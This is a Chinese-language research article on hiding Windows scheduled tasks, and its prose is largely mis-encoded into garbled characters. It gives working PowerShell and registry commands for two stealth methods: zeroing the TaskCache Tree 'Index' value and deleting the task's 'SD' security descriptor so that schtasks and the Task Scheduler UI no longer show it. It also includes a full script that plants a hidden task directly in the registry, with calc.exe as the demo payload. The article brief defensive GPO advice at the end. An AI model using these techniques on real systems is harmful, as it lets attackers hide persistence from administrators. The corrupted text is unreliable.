֕ӧଛጱฎಸᲙԧ҅෫ᦞฎ᭗ᬦᓕቘާᬩᤈᬮฎ�6<67(0҅᮷෫ဩٌݚྋଉᬩ֢ғ

PS C:\source\SchTaskOpt\bin\> .\SchTaskOpt.exe

๚ᕪ॒ቘጱ୑ଉ:  System.Runtime.InteropServices.COMException: ୑ଉ๶ᛔ HRESULT:0xD0000061
 Microsoft.Win32.TaskScheduler.V2Interop.ITaskFolder.RegisterTaskDefinition(String ࣁ   
Path, ITaskDefinition pDefinition, Int32 flags, Object UserId, Object password, TaskLog
onType LogonType, Object sddl)
Microsoft.Win32.TaskScheduler.TaskFolder.RegisterTaskDefinition(String path, TaskD ࣁ   
efinition definition, TaskCreation createType, String userId, String password, TaskLogo
nType logonType, String sddl)

ᬯӻወᳯכضኸӞӥ҅މᵱᥝႴ༩Ꭳ᭲ဳٙᤒӾྯӻձۓᛔۖኞ౮ጱ�6'�໒ୗ಍ํ१ᖃ҅ᬯղᔄࣳᕮ຅Ⴔᅩ
ԞᦜտഭӤአ̶࣋

ᛏమӞӥ҅ইຎᎣ᭲ဳٙᤒ᯾ጱಅํᕮ຅୵ୗٌ݊఺Ԏ҅੪ݢզಋۖ᭗ᬦႲٙဳےᤒጱොୗᬰᤈڠୌᦇښձ
ᴻഭັጱૡ̶֢ڢᵌᡐۓձښᚆ؉ӞԶᦇݝਫᴬ੒ᧆဳٙᤒᶱԧᥴጱଚӧฎஉႴ༩҅ಅզ҅ۓ

౯੒ᦇښձۓᵌᡐጱಋဩᬰᤈႮفറᑪ҅ᕪᬦӧෙၥᦶ҅ݎሿӷᐿᵌᡐձۓጱොୗғ

ইຎమᥝᵌᡐӞӻᦇښձݢ҅ۓզ᭗ᬦץද�6FKHGXOH?7DVN&DFKH?7UHH�Ӿ੒ଫձۓጱ�,QGH[�꧊҅Ӟᛱఘ
ӥ᮷ฎ��҅ྍṈইӥғ٭

0�๦ᴴ�FPGғ)67>�6ۖސ psexec64 -i -s cmd.exe
ಗᤈ�UHJHGLW�զ�6<67(0�๦ᴴٙဳۖސᤒᖫᬋ࢏
�දץ
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree
ӥ੒ଫձۓጱ�,QGH[�꧊ԅ� 0
�ᴻڢ %SystemRoot%\System32\Tasks �ӥձۓ੒ଫጱ�;0/�෈կ

սᅩғ

ۓᧆձکӾ҅᮷፡ӧۓጱಅํձڊአ�WDVNVFKG�PVF̵VFKWDVNV��TXHU\�ኜᛗᔮᕹ$3,ັᧃڥ

ᗌᅩғ

ଚᶋਠقᵌᡐ҅ইຎᎣ᭲ᧆձۓጱݢ҅ਁݷզ᭗ᬦ�VFKWDVNV��TXHU\��WQ�^7DVN1DPH`�ັک

ᦇښձۓᵌᡐಋဩറᑪ 

ᶋਠقᵌᡐ 

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/


෫ᦞฎ֗๦ጱձۓᬮฎṛ๦҅᮷ᵱᥝ�6<67(0�๦ᴴҁࣁZLQ��ၥᦶ҅֗ᇇ๜অ؟ဌᬯӻᥝ࿢҅இၥ
ᦶ҂

ၥᦶአֺ 

PS C:\> schtasks.exe /create /tn test /tr "calc.exe" /sc minute /mo 1 /ru "administrato
r"
౮ۑ: ౮ڠۑୌᦇښձۓ "test"̶
PS C:\> schtasks.exe /query /tn test

෈կ४: \
ձݷۓ                                   ӥེᬩᤈ෸ᳵ           ཛྷୗ
======================================== ====================== ===============
test                                     2021/1/11 14:54:00     ੪ᖃ
PS C:\> schtasks.exe /query|findstr test
test                                     2021/1/11 14:55:00     ??
PS C:\> Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Sche
dule\TaskCache\Tree\test" -Name "Index" -Value 0
PS C:\> schtasks.exe /query|findstr test
PS C:\> schtasks.exe /delete /tn test /f
౮ۑ: ᦇښጱձۓ "test" ᤩ౮ڢۑᴻ̶
PS C:\>

ܻቘറᑪ 

,QGH[�ጱތԎӧݢᎣ҅ᬯӻฮ෸ӧ؉റᦎ̶

ೲ᭲ቘ҅ฎݢզ᭗ᬦᯈᗝձ�6ۓ'�ਫሿ̶ࣁӞེၥᦶᬦᑕӾ҅؍ᆐڢᴻԧဳٙᤒӾጱ�6'�ᶱ҅ݎሿ෫ᦞՋ
ԍොୗ᮷ັӧکձמۓ௳҅ᬡکਠقᵌᡐጱፓጱғ

0�๦ᴴ�FPGғ)67>�6ۖސ psexec64 -i -s cmd.exe
ಗᤈ�UHJHGLW�զ�6<67(0�๦ᴴٙဳۖސᤒᖫᬋ࢏
�ᴻڢ
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}\SD
�ᴻڢ %SystemRoot%\System32\Tasks �ӥձۓ੒ଫጱ�;0/�෈կ

սᅩғ

෫ᦞ֜ᐿොୗҁᴻԧဳٙᤒ҂҅᮷ັӧکᧆձ҅ۓ᫾ԅ஁ବ

ᗌᅩғ

෫ᦞฎ֗๦ጱձۓᬮฎṛ๦҅᮷ᵱᥝ�6<67(0�๦ᴴҁࣁZLQ��ၥᦶ҅֗ᇇ๜অ؟ဌᬯӻᥝ࿢҅இၥ
ᦶ҂

ၥᦶአֺ 

ਠقᵌᡐ 



ӥᶎฎၥᦶአጱ�SRZHUVKHOO�դᎱҁӧ᭗አ҅᯾ᶎၿ݊ጱԫᬰٖګ਻ᵱᥝضGXPSӞӻྋଉڠୌጱձۓ҂ғ

$taskname = "test"
$uuid = "{3EC79FBB-0533-4356-89B3-8CE2003F1CD8}"
$cmd = "calc.exe"

New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\T
asks\" -Name $uuid
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tasks\$uuid\" -Name "Path" -Value "\$taskname" -Type String -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tasks\$uuid\" -Name "URI" -Value "\$taskname" -Type String -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tasks\$uuid\" -Name "Schema" -Value 0x00010002 -Type DWORD -Force

$triggerstring = "FwAAAAAAAAABBwEAAAAIAAAI/NDz5dYBAAcBAAAACAD//////////zghQUNISEhI38PL8
0hISEgOAAAASEhISEEAdQB0AGgAbwByAAAASEgAAAAASEhISABISEhISEhIAEhISEhISEgBAAAASEhISBwAAABI
SEhIAQUAAAAAAAUVAAAAEXy5KUkCH0AHyc8n6AMAAEhISEgsAAAASEhISFQARQBDAEgATABJAFUAMQAwADUANwB
cAHQAZQBjAGgAbABpAHUAAAAAAAAASEhISCwAAABISEhIWAIAABAOAACA9AMA/////wcAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAABISEhI3d0AAAAAAAABBwEAAAAIAAAI/NDz5dYBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA8AAAAAAAAAP////8AAAAAAAAAAAAAAAAAAcVLAQAAAAAAAAB2oQAAAAAAAEhISEg="
$triggerbytes = ::FromBase64String($triggerstring)
$actionbytes = (0x03,0x00,0x0c,0x00,0x00,0x00,0x41,0x00,0x75,0x00,0x74,0x00,0x6
8,0x00,0x6f,0x00,0x72,0x00,0x66,0x66,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00) + 

::Unicode.GetBytes($cmd) + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x00,0x00,0x00)

New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tasks\$uuid\" -Name "Triggers" -Value $triggerbytes -Type binary -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tasks\$uuid\" -Name "Actions" -Value $actionbytes -Type binary -Force

New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\T
ree" -Name $taskname -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tree\$taskname" -Name "Id" -Value "{3EC79FBB-0533-4356-89B3-8CE2003F1CD8}" -Type
 string -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tree\$taskname" -Name "Index" -Value 0x3 -Type DWORD -Force

#Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCac
he\Tree\$taskname" -Force
#Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCac
he\Tasks\$uuid" -Force

ๅ᭗አӞԶጱၥᦶአֺғ

PS C:\> schtasks.exe /create /tn test /tr "calc.exe" /sc minute /mo 1 /ru "administrato
r"
౮ۑ: ౮ڠۑୌᦇښձۓ "test"̶
PS C:\> schtasks.exe /query /tn test

[System.Convert]
[byte[]]

[System
.Text.Encoding] [byte[]]



෈կ४: \
ձݷۓ                                   ӥེᬩᤈ෸ᳵ           ཛྷୗ
======================================== ====================== ===============
test                                     2021/1/11 14:56:00     ੪ᖃ
PS C:\> schtasks.exe /query|findstr test
test                                     2021/1/11 14:56:00     ??
PS C:\> Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\S
chedule\TaskCache\Tree\test" -Name "SD"
PS C:\> schtasks.exe /query /tn test
Კ᧏: ᔮᕹತӧک೰ਧጱ෈կ̶
PS C:\> schtasks.exe /query|findstr test
PS C:\>

ᬯᐿොୗڠୌጱᦇښձڢ҅ۓᴻᥝፘ੒ἋᅸӞԶғ

$taskname = "test"
$uuid = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Sch
edule\TaskCache\Tree\$taskname" -Name "Id").Id
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCach
e\Tasks\$uuid"
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCach
e\Tree\$taskname"

sc.exe stop schedule
sc.exe start schedule

ܻቘറᑪ 

ᕪᬦᬰᑕፊഴ҅ݎሿࣁᦇښձמۓ௳ັᧃᬦᑕӾጱၞᑕইӥғ

ັᧃ�ŉ+./0?62)7:$5(?0LFURVRIW?:LQGRZV
17?&XUUHQW9HUVLRQ?6FKHGXOH?7DVN&DFKH?7UHH?6'Ŋ҅ັጱکᖀᖅ҅ັӧڞکᕣྊັᧃ
᭭ܲັᧃ�ŉ+./0?62)7:$5(?0LFURVRIW?:LQGRZV
17?&XUUHQW9HUVLRQ?6FKHGXOH?7DVN&DFKH?7UHH^7DVN1DPH`Ŋ�Ӿጱ�,G̵,QGH[̵6'ᒵ꧊
ҁݸᶎ᮷ฎሖၥ҂
ັᧃکጱ�6'�꧊҅տ੒ԏݸฎํވ๦ᴴັ፡ᧆձמۓ௳ํ୽ັ҅ߥӧັጱ޾کᬯӻ꧊௳௳ፘى
໑ഝ�6'�꧊҅ᬰᤈ๦ᴴ༄ັ

ইຎ๦ᴴ᭗ᬦ҅໒ୗ۸ᬌڊ�ŉ+./0?62)7:$5(?0LFURVRIW?:LQGRZV
17?&XUUHQW9HUVLRQ?6FKHGXOH?7DVN&DFKH?7DVNV^7DVN,G`Ŋ�Ӿጱձۓᧇᕡמ௳
๦ᴴӧ᭗ᬦ҅ڞᬰᤈӥӞӻձۓጱັᧃ

ྋଉձັۓᧃғ



ᧃғັۓጱձݸ�'ᴻ�6ڢ

ਧ෫๦ᴴັڣ੕ᛘᔮᕹፗള҅௳מۓ๦ᴴັ፡ᧆձํވ෫ဩᏟਧአಁฎ҅௳מ�'ጱ�6ۓձکԅತӧࢩᥠ҅ݢ
፡ғ

��� ᯈᗝᦇښձݝۓ꧋ᦜᬩᤈࣁᦊᦤአಁӤ҅ӧݢզ᭗ᬦ�6<67(0�ᨴಁᬩᤈ҅ݢզ32*�ࣁ�Ӿᬰᤈᯈ
ᗝ҅݇ᘍ�$OORZ�VHUYHU�RSHUDWRUV�WR�VFKHGXOH�WDVNV

��� ᯈᗝݝ꧋ᦜ�DGPLQLVWUDWRUV�አಁᕟ੒ᬰᑕጱսضᕆᬰᤈץද҅ݢզ32*�ࣁ�Ӿᯈᗝ҅݇ᘍ�,QFUHDVH
VFKHGXOLQJ�SULRULW\

๜ᓤՕᕨԧզӥᎣᦩᅩғ

ᴠகᖨᥴᦇښձۓጱ௶఺ڥአ 

௛ᕮ 

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/jj852168(v=ws.11)?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221960(v=ws.11)?redirectedfrom=MSDN


ᦇښձۓᶱጱᕮ຅מ௳
ጱොୗۓձښୌᦇڠᐿݱ
ᦇښձࣁۓᏺፏ݊ဳٙᤒӾጱ֖ᗝ
ᦇښձۓጱਞقൈᬿᒧᦡᗝොୗ
ձۓ᧣ଶ෸ጱᆿৼᬰᑕړຉ
WDVNHQJ�H[H޾��WDVNKRVWZ�H[H�ጱᬰᑕ݇හ
ᵌᡐᦇښձۓ

KWWSV���GRFV�PLFURVRIW�FRP�HQ�XV�ZLQGRZV�ZLQ���WDVNVFKG�WDVN�VFKHGXOHU�VWDUW�SDJH
KWWSV���GRFV�PLFURVRIW�FRP�HQ�XV�SUHYLRXV�YHUVLRQV�ZLQGRZV�GHVNWRS�DXWRPDW�EVWU
KWWSV���GRFV�PLFURVRIW�FRP�HQ�XV�ZLQGRZV�DSSOLFDWLRQ�PDQDJHPHQW�VYFKRVW�VHUYLFH�
UHIDFWRULQJ
KWWSV���QDVEHQFK�PHGLXP�FRP�D�GHHS�GLYH�LQWR�ZLQGRZV�VFKHGXOHG�WDVNV�DQG�WKH�
SURFHVVHV�UXQQLQJ�WKHP����G�HHG�FFH
KWWSV���DWWDFN�PLWUH�RUJ�WHFKQLTXHV�7���������
KWWSV���DWWDFN�PLWUH�RUJ�WHFKQLTXHV�7���������
KWWSV���JLWKXE�FRP�OLE\DO�ZLQUHJ�
NE�EORE�PDVWHU�GRFXPHQWDWLRQ�7DVN���6FKHGXOHU���.H\V�DVFLLGRF
KWWSV���GRFV�PLFURVRIW�FRP�HQ�XV�RSHQVSHFV�ZLQGRZVBSURWRFROV�PV�GW\S�
KWWSV���JLWKXE�FRP�GDKDOO�7DVN6FKHGXOHU
KWWSV���GRFV�PLFURVRIW�FRP�HQ�XV�ZLQGRZV�ZLQ���WDVNVFKG�WDVN�VFKHGXOHU�VWDUW�SDJH

୚አ 

https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/automat/bstr
https://docs.microsoft.com/en-us/windows/application-management/svchost-service-refactoring
https://nasbench.medium.com/a-deep-dive-into-windows-scheduled-tasks-and-the-processes-running-them-218d1eed4cce
https://attack.mitre.org/techniques/T1053/002/
https://attack.mitre.org/techniques/T1053/005/
https://github.com/libyal/winreg-kb/blob/master/documentation/Task%20Scheduler%20Keys.asciidoc
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/
https://github.com/dahall/TaskScheduler
https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page
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